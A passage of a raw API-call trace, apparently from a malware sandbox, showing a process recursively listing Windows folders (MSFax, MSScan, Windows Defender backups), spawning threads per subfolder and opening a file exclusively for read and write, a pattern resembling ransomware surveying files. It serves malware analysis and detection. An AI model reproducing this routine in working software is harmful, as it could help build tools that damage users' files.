_Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\" [0078.623] wcscat (in: _Dest=0x33e2600, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*" [0078.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4118 [0078.623] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0960f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0798 [0078.624] wcscmp (_String1=".", _String2=".") returned 0 [0078.624] FindNextFileW (in: hFindFile=0x33e0798, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0960f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.624] wcscmp (_String1="..", _String2=".") returned 1 [0078.624] wcscmp (_String1="..", _String2="..") returned 0 [0078.624] FindNextFileW (in: hFindFile=0x33e0798, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd313219, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xc2b0a072, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.624] wcscmp (_String1="en-US", _String2=".") returned 1 [0078.624] wcscmp (_String1="en-US", _String2="..") returned 1 [0078.624] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x348bed0 [0078.624] wcscpy (in: _Dest=0x348bed0, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" [0078.624] wcscat (in: _Dest=0x348bed0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\" [0078.624] wcscat (in: _Dest=0x348bed0, _Source="en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0083.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x348bed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0 [0083.017] FindNextFileW (in: hFindFile=0x33e0798, lpFindFileData=0x33f4118 | out: lpFindFileData=0x33f4118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd313219, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xc2b0a072, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0083.017] FindClose (in: hFindFile=0x33e0798 | out: hFindFile=0x33e0798) returned 1 [0083.018] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4118) returned 1 [0083.018] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2600) returned 1 [0083.018] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ef90) returned 1 [0083.018] RtlExitUserThread (Status=0x0) Thread: id = 892 os_tid = 0x14f4 [0078.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x347fee0 [0078.625] wcscpy (in: _Dest=0x347fee0, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox" [0078.625] wcscat (in: _Dest=0x347fee0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\" [0078.625] wcscat (in: _Dest=0x347fee0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*" [0078.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4380 [0078.625] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0ac24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0018 [0078.626] wcscmp (_String1=".", _String2=".") returned 0 [0078.626] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0ac24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.626] wcscmp (_String1="..", _String2=".") returned 1 [0078.626] wcscmp (_String1="..", _String2="..") returned 0 [0078.626] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0ac24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0078.626] FindClose (in: hFindFile=0x33e0018 | out: hFindFile=0x33e0018) returned 1 [0078.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4380) returned 1 [0078.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0078.626] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e110) returned 1 [0078.626] RtlExitUserThread (Status=0x0) Thread: id = 893 os_tid = 0x14f8 [0078.627] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x347fee0 [0078.627] wcscpy (in: _Dest=0x347fee0, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue" [0078.627] wcscat (in: _Dest=0x347fee0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\" [0078.627] wcscat (in: _Dest=0x347fee0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*" [0078.627] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4380 [0078.627] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0b3ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0018 [0078.628] wcscmp (_String1=".", _String2=".") returned 0 [0078.628] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0b3ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.628] wcscmp (_String1="..", _String2=".") returned 1 [0078.628] wcscmp (_String1="..", _String2="..") returned 0 [0078.628] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0b3ba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0078.628] FindClose (in: hFindFile=0x33e0018 | out: hFindFile=0x33e0018) returned 1 [0078.628] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4380) returned 1 [0078.628] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0078.629] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dc40) returned 1 [0078.629] RtlExitUserThread (Status=0x0) Thread: id = 894 os_tid = 0x14fc [0078.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347ebd8 [0078.629] wcscpy (in: _Dest=0x347ebd8, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated" [0078.630] wcscat (in: _Dest=0x347ebd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated\\" [0078.630] wcscat (in: _Dest=0x347ebd8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated\\*" [0078.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4380 [0078.630] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue_Migrated\\*", lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0bae7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0018 [0078.630] wcscmp (_String1=".", _String2=".") returned 0 [0078.630] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0bae7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.630] wcscmp (_String1="..", _String2=".") returned 1 [0078.630] wcscmp (_String1="..", _String2="..") returned 0 [0078.630] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0bae7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0078.631] FindClose (in: hFindFile=0x33e0018 | out: hFindFile=0x33e0018) returned 1 [0078.631] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4380) returned 1 [0078.631] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ebd8) returned 1 [0078.631] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f128) returned 1 [0078.631] RtlExitUserThread (Status=0x0) Thread: id = 895 os_tid = 0x1500 [0078.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccd70 [0078.632] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems" [0078.632] wcscat (in: _Dest=0x33ccd70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\" [0078.632] wcscat (in: _Dest=0x33ccd70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*" [0078.632] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4380 [0078.632] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0c408, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0018 [0078.632] wcscmp (_String1=".", _String2=".") returned 0 [0078.632] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0c408, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.632] wcscmp (_String1="..", _String2=".") returned 1 [0078.632] wcscmp (_String1="..", _String2="..") returned 0 [0078.632] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2b0c408, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0078.632] FindClose (in: hFindFile=0x33e0018 | out: hFindFile=0x33e0018) returned 1 [0078.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4380) returned 1 [0078.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0078.632] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0078.633] RtlExitUserThread (Status=0x0) Thread: id = 896 os_tid = 0x1504 [0078.633] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x347ebd8 [0078.633] wcscpy (in: _Dest=0x347ebd8, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" [0078.634] wcscat (in: _Dest=0x347ebd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\" [0078.634] wcscat (in: _Dest=0x347ebd8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*" [0078.634] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4380 [0078.634] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ccc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0018 [0078.634] wcscmp (_String1=".", _String2=".") returned 0 [0078.634] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ccc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.634] wcscmp (_String1="..", _String2=".") returned 1 [0078.634] wcscmp (_String1="..", _String2="..") returned 0 [0078.634] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2b0d815, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.634] wcscmp (_String1="en-US", _String2=".") returned 1 [0078.634] wcscmp (_String1="en-US", _String2="..") returned 1 [0078.634] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e2f00 [0078.634] wcscpy (in: _Dest=0x33e2f00, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox" [0078.634] wcscat (in: _Dest=0x33e2f00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\" [0078.634] wcscat (in: _Dest=0x33e2f00, _Source="en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" [0083.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e2f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0 [0083.016] FindNextFileW (in: hFindFile=0x33e0018, lpFindFileData=0x33f4380 | out: lpFindFileData=0x33f4380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2b0d815, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0083.016] FindClose (in: hFindFile=0x33e0018 | out: hFindFile=0x33e0018) returned 1 [0083.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4380) returned 1 [0083.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ebd8) returned 1 [0083.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cce70) returned 1 [0083.016] RtlExitUserThread (Status=0x0) Thread: id = 897 os_tid = 0x1508 [0078.635] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\welcomescan.jpg")) returned 0x20 [0078.636] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg", dwFileAttributes=0x20) returned 0 [0078.636] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.636] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg", dwFileAttributes=0x20) returned 0 [0078.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347eb50) returned 1 [0078.636] RtlExitUserThread (Status=0x0) Thread: id = 898 os_tid = 0x150c [0078.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eaff0 [0078.639] wcscpy (in: _Dest=0x33eaff0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup" [0078.639] wcscat (in: _Dest=0x33eaff0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\" [0078.639] wcscat (in: _Dest=0x33eaff0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*" [0078.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f45e8 [0078.639] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d6ec5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0058 [0078.640] wcscmp (_String1=".", _String2=".") returned 0 [0078.640] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d6ec5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.640] wcscmp (_String1="..", _String2=".") returned 1 [0078.640] wcscmp (_String1="..", _String2="..") returned 0 [0078.640] FindNextFileW (in: hFindFile=0x33e0058, lpFindFileData=0x33f45e8 | out: lpFindFileData=0x33f45e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d6ec5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0078.640] FindClose (in: hFindFile=0x33e0058 | out: hFindFile=0x33e0058) returned 1 [0078.640] RtlFreeHeap (HeapHandle=0x33c0000, 